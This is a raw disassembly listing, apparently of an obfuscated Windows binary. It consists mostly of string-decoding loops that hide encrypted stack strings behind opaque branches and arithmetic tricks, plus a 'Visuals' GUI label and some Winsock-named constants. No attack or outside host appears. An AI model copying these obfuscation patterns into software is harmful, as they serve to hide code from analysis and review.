add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x3f
jmp 0x14007f8c7
lea rax, [r8 + 8]
cmp rbx, rax
jne 0x14007f46b
lea ecx, [r10 - 0xb]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
add dil, 0x4d
movzx eax, byte [rbp + r10 + 0x300]
add rax, r8
add r10, rax
inc r10
jmp 0x14007f093
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x14007f654
lea ecx, [r10 + 0x52]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x3e
jmp 0x14007f8ef
lea rax, [r8 + 4]
cmp rbx, rax
jne 0x14007f67b
lea ecx, [r10 + 0x34]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x6c
add rbx, r8
jmp 0x14007f891
lea rax, [r8 + 7]
cmp rbx, rax
jne 0x14007f6ac
lea edx, [r10 + 0x16]
movzx eax, dl
and al, r9b
mov ecx, 0x33
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
inc r8
dec r10
inc r10
jmp 0x14007f093
lea rax, [r8 + 6]
cmp rbx, rax
jne 0x14007f6d3
movzx edx, r10b
lea ecx, [rdx + 0xc]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x54
jmp 0x14007f830
cmp r8, 0x80
jb 0x14007f6fd
movzx edx, r10b
lea ecx, [rdx + 2]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
add cl, r9b
lea edi, [rcx*2 - 0x1c]
jmp 0x14007f830
mov byte [rbp + r10 + 0x300], dil
inc r10
jmp 0x14007f093
movzx r11d, r10b
lea edx, [r11 - 8]
movzx eax, dl
and al, r9b
movzx ecx, byte [rbp + r10 + 0x300]
sub cl, al
add cl, 0x1c
lea edi, [rcx + rcx]
add dil, dl
jmp 0x14007f7af
lea edx, [r10 - 0x12]
movzx eax, dl
and al, r9b
mov ecx, 0x3f
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
jmp 0x14007f8c7
lea ecx, [r10 - 0x43]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x2b
movzx eax, byte [rbp + r10 + 0x300]
add rax, r8
add r10, rax
inc r10
jmp 0x14007f093
lea ecx, [r10 - 0x2f]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
add dil, 0x49
jmp 0x14007f8c7
movzx r11d, r10b
lea ecx, [r11 - 0x11]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
add dil, 0x77
add r11b, 0x73
movzx eax, r11b
and al, r9b
add al, al
movzx ecx, dil
sub cl, al
sub cl, 0x25
add cl, r11b
add cl, r9b
mov byte [rbp + r10 + 0x300], cl
add rbx, r8
jmp 0x14007f891
lea ecx, [r10 - 7]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
add dil, 0x31
dec r10
inc r10
jmp 0x14007f093
movzx edx, r10b
lea ecx, [rdx + 0xd]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x5b
jmp 0x14007f830
movzx edx, r10b
lea ecx, [rdx + 0x21]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
add dil, 0x19
add dl, 0x7d
movzx eax, dl
and al, r9b
add al, al
sub dl, al
sub dl, 0x6b
add dl, r9b
mov byte [rbp + r10 + 0x300], dl
inc r8
dec r10
inc r10
jmp 0x14007f093
lea ecx, [r10 + 0x35]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x73
dec r10
inc r10
jmp 0x14007f093
lea rcx, [r10 + 0xacf53]
movzx eax, dl
and al, cl
add al, al
sub dl, al
lea edi, [rcx + rdx]
sub dil, 0x45
movzx eax, dil
mov rcx, 0xffffffffffffffff
sub rcx, rax
add r10, rcx
inc r10
jmp 0x14007f093
lea rcx, [r10 + 0x8685d]
movzx r9d, dl
and dl, cl
add dl, dl
movzx edi, r9b
sub dil, dl
add dil, 0x75
add dil, cl
lea ecx, [r10 + 0x69]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
add cl, 0x21
add cl, r9b
movzx eax, cl
mov byte [rbp + r10 + 0x300], al
inc r8
add rax, r8
sub r10, rax
lea ecx, [r10 - 0x1c]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
sub cl, 0x3c
add cl, r9b
mov byte [rbp + r10 + 0x300], cl
inc rbx
mov rax, 0xffffffffffffffff
sub rax, rbx
add r10, rax
movzx eax, byte [rbp + r10 + 0x300]
add rax, r8
add r10, rax
inc r10
jmp 0x14007f093
lea rcx, [r10 + 0x39a71]
movzx eax, dl
and al, cl
add al, al
sub dl, al
lea edi, [rcx + rdx]
sub dil, 0x17
movzx eax, byte [rbp + r10 + 0x300]
add rax, r8
add r10, rax
inc r10
jmp 0x14007f093
sub r10b, 0x19
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
lea edi, [r9 + r10]
sub dil, 0x51
jmp 0x14007f090
sub r10b, 0xf
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
lea edi, [r9 + r10]
add dil, 0x69
jmp 0x14007f080
lea rcx, [rbp + 0x14e99a4]
jmp 0x14007f9b3
lea rcx, [rbp + 0x10fcd1f]
jmp 0x14007f9b3
lea rcx, [rbp + 0x300]
mov r9d, esi
lea r8, [0x140044c60]
mov edx, r14d
call fcn.14004e6a0
mov ecx, dword [0x1401eb1b8]
call fcn.1400555d0
mov r14, rax
mov byte [rbp + 0x90], 0x42
mov byte [rbp + 0x91], WSAStartup
mov byte [rbp + 0x92], WSAGetLastError
mov byte [rbp + 0x93], 0x66
mov byte [rbp + 0x94], 0x84
xor eax, eax
mov qword [rbp + 0x95], rax
mov word [rbp + 0x9d], ax
mov byte [rbp + 0x9f], al
movabs r15, 0xccdab1cd0336d540
movabs r12, 0x33b040351ced7f40
movabs r13, 0x6690156709a47fc0
movzx edi, byte [rsp + 0x50]
nop
call fcn.140004c80
mov rbx, qword [rax]
call fcn.140004c90
mov r8, qword [rax]
xor r10d, r10d
cmp r10, 0x10
jae 0x140080445
movzx r9d, byte [rbp + r10 + 0x90]
mov r11, r9
nop dword [rax]
cmp rbx, r10
ja 0x140080439
lea rax, [r8 + 1]
cmp rbx, rax
jae 0x14007fa8c
lea rcx, [r10 + r15]
mov rax, rcx
and rax, r9
imul rdi, rax, 0xfffffffffffffffe
add rdi, rcx
add rdi, r9
add dil, 0x40
jmp 0x14007fac6
je 0x1400803c5
lea rax, [r8 + 2]
cmp rbx, rax
je 0x140080334
lea rax, [r8 + 3]
cmp rbx, rax
je 0x140080301
lea rax, [r8 + 4]
cmp rbx, rax
je 0x1400802e5
lea rax, [r8 + 6]
cmp rbx, rax
je 0x14008029d
cmp r8, r10
ja 0x140080430
lea rax, [r8 + 5]
cmp rbx, rax
jae 0x14007faf4
lea edx, [r10 + 0x40]
movzx eax, dl
and al, r9b
mov ecx, 0x20
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x14007fb42
lea rax, [r8 + 1]
cmp rbx, rax
je 0x140080252
lea rax, [r8 + 4]
cmp rbx, rax
je 0x14008029d
lea rax, [r8 + 3]
cmp rbx, rax
je 0x1400800a2
lea rax, [r8 + 7]
cmp rbx, rax
je 0x1400800ca
lea rax, [r8 + 2]
cmp rbx, rax
je 0x140080233
lea rax, [r8 + 6]
cmp rbx, rax
je 0x1400800f6
lea rax, [r8 + rbx]
cmp rax, r10
jbe 0x14007ff1c
nop
lea rax, [r8 + 0x61]
cmp rbx, rax
je 0x14008003e
lea rax, [r8 + 0x80]
cmp rbx, rax
je 0x14007fefe
lea rax, [r8 + 0x1000]
cmp rbx, rax
je 0x14008000c
lea rax, [r8 + 0x5a]
cmp rbx, rax
je 0x14007ffe7
lea rax, [r8 + 0x400]
cmp rbx, rax
je 0x14007fedc
lea rcx, [r8 + 0x41]
cmp rbx, rcx
je 0x14007fec7
lea rax, [r8 + 0x3e8]
cmp rbx, rax
je 0x14007ffbc
lea rax, [r8 + 0x7a]
cmp rbx, rax
je 0x14007feaf
lea rax, [r8 + 1]
cmp rbx, rax
je 0x14007ff82
mov rbx, rcx
lea r8, [rcx + 0x2a]
lea rax, [r8 + 2]
cmp rcx, rax
jb 0x140080413
lea rax, [r8 + 0x7a]
cmp rcx, rax
jb 0x1400803f3
lea rax, [r8 + 1]
cmp rcx, rax
jb 0x14007fd1d
lea rax, [r8 + 0x61]
cmp rcx, rax
jb 0x14007fcfe
lea rax, [r8 + 0x2a]
cmp rcx, rax
jb 0x14007fcdf
lea rcx, [r8 + 4]
cmp rbx, rcx
jb 0x14007ff25
lea rax, [r8 + 0x5a]
cmp rbx, rax
jb 0x14007fe5c
lea rax, [r8 + 3]
cmp rbx, rax
jb 0x14007fe19
lea rax, [r8 + 0x41]
cmp rbx, rax
jb 0x14007fdf2
mov rbx, rcx
lea r8, [rcx + 6]
lea rax, [r8 + 0x5a]
cmp rcx, rax
ja 0x140080117
lea rax, [r8 + 3]
cmp rcx, rax
ja 0x14007fdd0
lea rax, [r8 + 8]
cmp rcx, rax
ja 0x140080147
lea rax, [r8 + 2]
cmp rcx, rax
ja 0x14007fdb1
lea rax, [r8 + 6]
cmp rcx, rax
ja 0x14007fd99
lea rax, [r8 + 1]
cmp rcx, rax
ja 0x14007fd73
lea rax, [r8 + 5]
cmp rcx, rax
ja 0x14007fd58
lea rax, [r8 + 0xa]
cmp rcx, rax
ja 0x140080197
lea rax, [r8 + 4]
cmp rcx, rax
ja 0x14007fd3c
lea rax, [r8 + 9]
cmp rcx, rax
ja 0x14007fb50
lea rbx, [r8 + 0x10]
lea r8, [rbx + 3]
jmp 0x14007fb50
lea edx, [r10 - 0x40]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x40
add dil, dl
jmp 0x14007fb42
lea edx, [r10 + 0x40]
movzx eax, dl
and al, r9b
mov ecx, 0x20
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x14007fac6
lea edx, [r10 - 0x40]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x40
add dil, dl
jmp 0x14007fa56
movzx ecx, r9b
and cl, r10b
add cl, cl
movzx edi, r9b
sub dil, cl
add dil, r10b
movzx r11d, r10b
jmp 0x140080270
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
dec r10
inc r10
jmp 0x14007fa43
lea edx, [r10 + 0x80]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
add dil, 0x80
add dil, dl
movzx r11d, r10b
jmp 0x1400802bb
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
add rbx, r8
jmp 0x14008031b
lea ecx, [r10 + 0x80]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
add dil, 0x80
jmp 0x14008031b
lea edx, [r10 + 0x80]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
add dil, 0x80
add dil, dl
jmp 0x140080384
lea ecx, [r10 - 0x40]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
sub dil, 0x40
mov byte [rbp + r10 + 0x90], dil
inc r10
jmp 0x14007fa43
lea edx, [r10 + 0x40]
movzx eax, dl
and al, r9b
mov ecx, 0x20
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
cmp r8, 0x42
jb 0x14007fe09
movzx r11d, r10b
lea edx, [r11 + 0x80]
movzx eax, r9b
and al, dl
add al, al
movzx ecx, r9b
sub cl, al
add cl, dl
lea edi, [rcx + rcx]
jmp 0x140080270
lea edx, [r10 - 0x40]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x40
add dil, dl
cmp rbx, 0x200
jae 0x1400801e8
lea rax, [r8 + 0x10]
cmp rbx, rax
jbe 0x14008010e
lea edx, [r10 + 0x80]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
add dil, 0x80
add dil, dl
jmp 0x14007fe33
movzx ecx, r9b
and cl, r10b
add cl, cl
movzx edi, r9b
sub dil, cl
add dil, r10b
jmp 0x140080384
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
jmp 0x14008031b
lea ecx, [r10 + 0x80]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
add dil, 0x80
add rbx, r8
jmp 0x14008031b
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
inc r8
dec r10
inc r10
jmp 0x14007fa43
lea rax, [r8 + 0xa]
cmp rbx, rax
jae 0x14007ff79
lea edx, [r10 + 0x40]
movzx eax, dl
and al, r9b
mov ecx, 0x20
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
lea rax, [r8 + rbx]
cmp rax, 0x20
je 0x140080209
lea rax, [r8 + 0x40]
cmp rbx, rax
jbe 0x140080061
lea edx, [r10 + 0x40]
movzx eax, dl
and al, r9b
mov ecx, 0x20
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x14007fe76
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x14007ffb3
lea ecx, [r10 + 0x80]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
add dil, 0x80
movzx eax, byte [rbp + r10 + 0x90]
add rax, r8
add r10, rax
inc r10
jmp 0x14007fa43
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x14007ffde
lea edx, [r10 + 0x80]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
add dil, 0x80
add dil, dl
jmp 0x140080359
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x140080003
movzx r11d, r10b
movzx ecx, r9b
and cl, r10b
add cl, cl
movzx edi, r9b
sub dil, cl
add dil, r10b
jmp 0x1400802bb
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x140080031
lea ecx, [r10 + 0x80]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
add dil, 0x80
dec r10
inc r10
jmp 0x14007fa43
lea rax, [r8 + 9]
cmp rbx, rax
jne 0x14007ff3f
movzx r11d, r10b
lea edx, [r11 + 0x80]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
add dil, 0x80
jmp 0x14008026d
lea rax, [r8 + 1]
cmp rbx, rax
je 0x140080252
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x140080099
lea ecx, [r10 - 0x40]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
sub dil, 0x40
dec r10
inc r10
jmp 0x14007fa43
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x1400800c1
lea edx, [r10 + 0x40]
movzx eax, dl
and al, r9b
mov ecx, 0x20
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x14008031b
lea rax, [r8 + 4]
cmp rbx, rax
jne 0x1400800e9
lea edx, [r10 - 0x40]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x40
add dil, dl
jmp 0x140080359
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x14007fe76
lea ecx, [r10 - 0x40]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
jmp 0x1400803d8
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x14008013e
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
movzx eax, byte [rbp + r10 + 0x90]
add rax, r8
add r10, rax
inc r10
jmp 0x14007fa43
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x14008015f
movzx ecx, r9b
and cl, r10b
add cl, cl
movzx edi, r9b
sub dil, cl
add dil, r10b
jmp 0x140080359
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x14008018e
movzx r11d, r10b
lea edx, [r11 + 0x80]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
add dil, 0x80
add dil, dl
jmp 0x1400802bb
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x1400801bf
lea ecx, [r10 + 0x80]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
add dil, 0x80
inc r8
dec r10
inc r10
jmp 0x14007fa43
lea rax, [r8 + 8]
cmp rbx, rax
jne 0x14007fe33
movzx r11d, r10b
movzx ecx, r9b
and cl, r10b
add cl, cl
movzx edi, r9b
sub dil, cl
add dil, r10b
jmp 0x140080270
movzx r11d, r10b
movzx eax, r9b
and al, r10b
add al, al
movzx edi, byte [rbp + r10 + 0x90]
sub dil, al
add dil, r10b
jmp 0x1400802b8
lea edx, [r10 + 0x80]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, byte [rbp + r10 + 0x90]
add dil, 0x80
add dil, dl
jmp 0x140080359
lea edx, [r10 + 0x40]
movzx eax, dl
and al, r9b
mov ecx, 0x20
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x140080384
movzx r11d, r10b
lea edx, [r11 - 0x40]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x40
add dil, dl
sub r11b, 0x40
movzx eax, r9b
and al, r11b
add al, al
sub r9b, al
sub r9b, 0x40
add r9b, r11b
mov byte [rbp + r10 + 0x90], r9b
inc r8
dec r10
inc r10
jmp 0x14007fa43
movzx r11d, r10b
lea edx, [r11 + 0x40]
movzx eax, dl
and al, r9b
mov ecx, 0x20
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
add r11b, 0x40
movzx eax, r11b
and al, r9b
mov ecx, 0x20
sub cl, al
add cl, cl
add cl, r11b
add cl, dil
add cl, r9b
mov byte [rbp + r10 + 0x90], cl
add rbx, r8
jmp 0x14008031b
lea ecx, [r10 - 0x40]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
sub dil, 0x40
add rbx, r8
jmp 0x14008031b
lea rdx, [r10 + r12]
movzx eax, r11b
and al, dl
mov ecx, 0x20
sub cl, al
lea edi, [rcx + rcx]
add dil, r11b
add dil, dl
movzx eax, dil
mov rcx, 0xffffffffffffffff
sub rcx, rax
add r10, rcx
inc r10
jmp 0x14007fa43
movabs rcx, 0x99fadc9b167fd4c0
add rcx, r10
movzx r9d, r11b
and r11b, cl
add r11b, r11b
movzx edi, r9b
sub dil, r11b
sub dil, 0x40
add dil, cl
lea edx, [r10 - 0x40]
movzx eax, r9b
and al, dl
add al, al
movzx ecx, r9b
sub cl, al
sub cl, 0x40
add cl, dl
movzx eax, cl
mov byte [rbp + r10 + 0x90], al
inc r8
add rax, r8
sub r10, rax
movzx ecx, r10b
and cl, r9b
add cl, cl
movzx eax, r10b
sub al, cl
add al, r9b
mov byte [rbp + r10 + 0x90], al
inc rbx
mov rax, 0xffffffffffffffff
sub rax, rbx
add r10, rax
movzx eax, byte [rbp + r10 + 0x90]
add rax, r8
add r10, rax
inc r10
jmp 0x14007fa43
lea rcx, [r10 + r13]
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea edi, [rcx + r11]
sub dil, 0x40
movzx eax, byte [rbp + r10 + 0x90]
add rax, r8
add r10, rax
inc r10
jmp 0x14007fa43
add r10b, 0x40
movzx eax, r10b
and al, r9b
mov ecx, 0x20
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
add dil, r9b
jmp 0x14007fa40
sub r10b, 0x40
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x40
jmp 0x14007fa30
lea rcx, [rbp + 0x1574790]
jmp 0x14008044c
lea rcx, [rbp + 0x4e1cd0]
jmp 0x14008044c
lea rcx, [rbp + 0x90]
xor r8d, r8d
mov rdx, r14
call fcn.1400383e0
test al, al
je 0x1400804be
lea rdi, str.nC_aE
lea r14, [0x1401eb1a0]
nop dword [rax]
mov esi, dword [rdi]
mov dword [rbp + 0x2c], 0
mov dword [rbp + 0x30], 0
cmp dword [0x1401eb1b8], esi
sete bl
mov ecx, esi
call fcn.1400555d0
lea r9, [rbp + 0x2c]
xor r8d, r8d
movzx edx, bl
mov rcx, rax
call fcn.14003e540
test al, al
je 0x1400804b0
mov dword [0x1401eb1b8], esi
add rdi, 4
cmp rdi, r14
jne 0x140080470
call fcn.14003d1e0
call fcn.14000cc70
lea r13, str._.3f
call fcn.14000d440
call fcn.14000a4c0
cmp dword [0x1401ecdbc], 1
jne 0x14008c494
mov dword [rbp + 0x34], 0x42aa0000
mov dword [rbp + 0x38], 0x428c0000
lea rcx, [rbp + 0x34]
call fcn.14001a6b0
mov dword [rbp + 0x3c], 0x438d0000
mov dword [rbp + 0x40], 0x43c10000
xor r9d, r9d
xor r8d, r8d
lea rdx, [rbp + 0x3c]
lea rcx, str.Visuals
call fcn.140009cf0
mov byte [rbp + 0x320], 0xe1
mov byte [rbp + 0x321], 0x3f
mov byte [rbp + 0x322], 0xcb
mov byte [rbp + 0x323], 0xc5
mov byte [rbp + 0x324], 0x3c
mov byte [rbp + 0x325], 0xc4
mov byte [rbp + 0x326], 0xf6
mov byte [rbp + 0x327], 0x99
mov byte [rbp + 0x328], 0x47
mov byte [rbp + 0x329], 0x4d
mov byte [rbp + 0x32a], 0xd2
xor eax, eax
mov qword [rbp + 0x32b], rax
mov byte [rbp + 0x333], al
movabs rsi, 0xe9f84d28faa4c23a
movabs r15, 0x65ca1c1eda814f96
movabs r14, 0xbde8e77aefee46ae
movzx edi, byte [rsp + 0x50]
nop dword [rax + rax]
call fcn.140004c80
mov rbx, qword [rax]
call fcn.140004c90
mov r8, qword [rax]
xor r10d, r10d
cmp r10, 0x14
jae 0x14008111b
movzx r9d, byte [rbp + r10 + 0x320]
mov r11, r9
nop dword [rax]
cmp rbx, r10
ja 0x14008110f
lea rax, [r8 + 1]
cmp rbx, rax
jae 0x140080600
lea rcx, [r10 + rsi]
mov rax, rcx
and rax, r9
imul rdi, rax, 0xfffffffffffffffe
add rdi, rcx
add rdi, r9
add dil, 0x6a
jmp 0x140080640
je 0x140081092
lea rax, [r8 + 2]
cmp rbx, rax
je 0x140081007
lea rax, [r8 + 3]
cmp rbx, rax
je 0x140080fd5
lea rax, [r8 + 5]
cmp rbx, rax
je 0x140080f8d
lea rax, [r8 + 7]
cmp rbx, rax
je 0x140080f65
nop word [rax + rax]
cmp r8, r10
ja 0x140081103
lea rax, [r8 + 0x3e8]
cmp rbx, rax
jae 0x140080671
lea ecx, [r10 - 0x3e]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x4e
jmp 0x1400806b0
lea rax, [r8 + 1]
cmp rbx, rax
je 0x140080f1e
lea rax, [r8 + 2]
cmp rbx, rax
je 0x140080f13
lea rax, [r8 + 3]
cmp rbx, rax
je 0x140080eee
lea rax, [r8 + 5]
cmp rbx, rax
je 0x140080ed3
nop word [rax + rax]
lea rax, [r8 + rbx]
cmp rax, r10
jbe 0x140080bd0
nop dword [rax]
lea rax, [r8 + 0x40]
cmp rbx, rax
je 0x140080bb1
lea rax, [r8 + 0x400]
cmp rbx, rax
je 0x140080ba3
lea rax, [r8 + 0x2a]
cmp rbx, rax
je 0x140080b7e
lea rax, [r8 + 6]
cmp rbx, rax
je 0x140080b6c
lea rax, [r8 + 3]
cmp rbx, rax
je 0x140080b51
lea rax, [r8 + 0xa]
cmp rbx, rax
je 0x140080b36
lea rax, [r8 + 0x64]
cmp rbx, rax
je 0x140080b1b
lea rax, [r8 + 0x61]
cmp rbx, rax
je 0x140080afc
lea rcx, [r8 + 2]
cmp rbx, rcx
je 0x140080acb
lea rax, [r8 + 9]
cmp rbx, rax
je 0x1400806c0
mov rbx, rcx
lea r8, [rcx + 5]
lea rax, [r8 + 9]
cmp rcx, rax
jb 0x1400810e3
lea rax, [r8 + 0x42]
cmp rcx, rax
jb 0x1400810c3
lea rax, [r8 + 0x1000]
cmp rcx, rax
jb 0x1400808a0
lea rax, [r8 + 1]
cmp rcx, rax
jb 0x140080885
lea rax, [r8 + 8]
cmp rcx, rax
jb 0x14008086a
lea rax, [r8 + 4]
cmp rcx, rax
jb 0x140080a85
lea rax, [r8 + 0x10]
cmp rcx, rax
jb 0x140080a3c
lea rax, [r8 + 0x80]
cmp rcx, rax
jb 0x1400809f8
lea rax, [r8 + 0x7a]
cmp rcx, rax
jb 0x1400809d2
lea rax, [r8 + 3]
cmp rcx, rax
jb 0x1400806c0
lea rbx, [r8 + 6]
lea r8, [rbx + 0xa]
lea rax, [r8 + 0x28]
cmp rbx, rax
ja 0x1400809a5
lea rax, [r8 + 0xa]
cmp rbx, rax
ja 0x14008098a
lea rax, [r8 + 0x64]
cmp rbx, rax
ja 0x14008096f
lea rax, [r8 + 0x61]
cmp rbx, rax
ja 0x140080950
lea rax, [r8 + 2]
cmp rbx, rax
ja 0x140080931
lea rax, [r8 + 9]
cmp rbx, rax
ja 0x14008091f
lea rax, [r8 + 5]
cmp rbx, rax
ja 0x1400808fe
lea rax, [r8 + 0x20]
cmp rbx, rax
ja 0x1400808da
lea rax, [r8 + 0x200]
cmp rbx, rax
ja 0x1400808bb
lea rax, [r8 + 0x41]
cmp rbx, rax
ja 0x1400806c0
lea rbx, [r8 + 1]
lea r8, [rbx + 4]
jmp 0x1400806c0
lea ecx, [r10 + 0x7e]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x72
jmp 0x1400806b0
lea ecx, [r10 + 0xa]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x46
jmp 0x140080640
lea ecx, [r10 - 0x6a]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x1a
jmp 0x1400805c6
lea ecx, [r10 + 0x10]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x70
movzx r11d, r10b
jmp 0x140080f38
lea ecx, [r10 - 0x64]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x44
inc r8
dec r10
inc r10
jmp 0x1400805b3
lea ecx, [r10 + 0x28]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x18
dec r10
inc r10
jmp 0x1400805b3
lea edx, [r10 - 0x4c]
mov ecx, 0xa
movzx r11d, r10b
jmp 0x140080f9a
lea edx, [r10 + 0x40]
movzx eax, dl
and al, r9b
mov ecx, 0x20
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x140080feb
lea edx, [r10 - 0x34]
movzx eax, dl
and al, r9b
mov ecx, gethostname
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x140080fee
lea ecx, [r10 + 0x58]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x68
jmp 0x140081021
lea ecx, [r10 - 0x1c]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x3c
jmp 0x14008104d
lea ecx, [r10 + 0x70]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x10
movzx eax, byte [rbp + r10 + 0x320]
add rax, r8
add r10, rax
inc r10
jmp 0x1400805b3
lea ecx, [r10 + 0x4e]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x22
mov byte [rbp + r10 + 0x320], dil
inc r10
jmp 0x1400805b3
lea edx, [r10 - 0x26]
movzx eax, dl
and al, r9b
mov ecx, 5
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
cmp r8, 0x41
jb 0x1400809e8
movzx r11d, r10b
lea ecx, [r11 + 0x1c]
movzx eax, cl
and al, r9b
mov edx, 0x1e
sub dl, al
add dl, dl
add dl, cl
add dl, r9b
lea edi, [rdx + rdx]
jmp 0x140080f38
lea edx, [r10 + 0x66]
movzx eax, dl
and al, r9b
mov ecx, 0x1b
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
cmp rbx, 3
jae 0x140080e96
lea rcx, [r8 + 6]
cmp rbx, rcx
jbe 0x140080dae
lea ecx, [r10 - 0x6c]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0xc
jmp 0x140080a12
lea edx, [r10 - 0xe]
movzx eax, dl
and al, r9b
mov ecx, 0x31
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
lea rax, [r8 + rbx]
cmp rax, 0x5a
je 0x140080ebd
lea rcx, [r8 + 2]
cmp rbx, rcx
jbe 0x140080cc2
lea edx, [r10 - 0x2e]
movzx eax, dl
and al, r9b
mov ecx, 0x21
jmp 0x140080a4b
lea edx, [r10 - 0x74]
movzx eax, dl
and al, r9b
mov ecx, socket
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
movzx eax, byte [rbp + r10 + 0x320]
add rax, r8
add r10, rax
inc r10
jmp 0x1400805b3
lea edx, [r10 + 0x18]
movzx eax, dl
and al, r9b
mov ecx, 0x2c
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
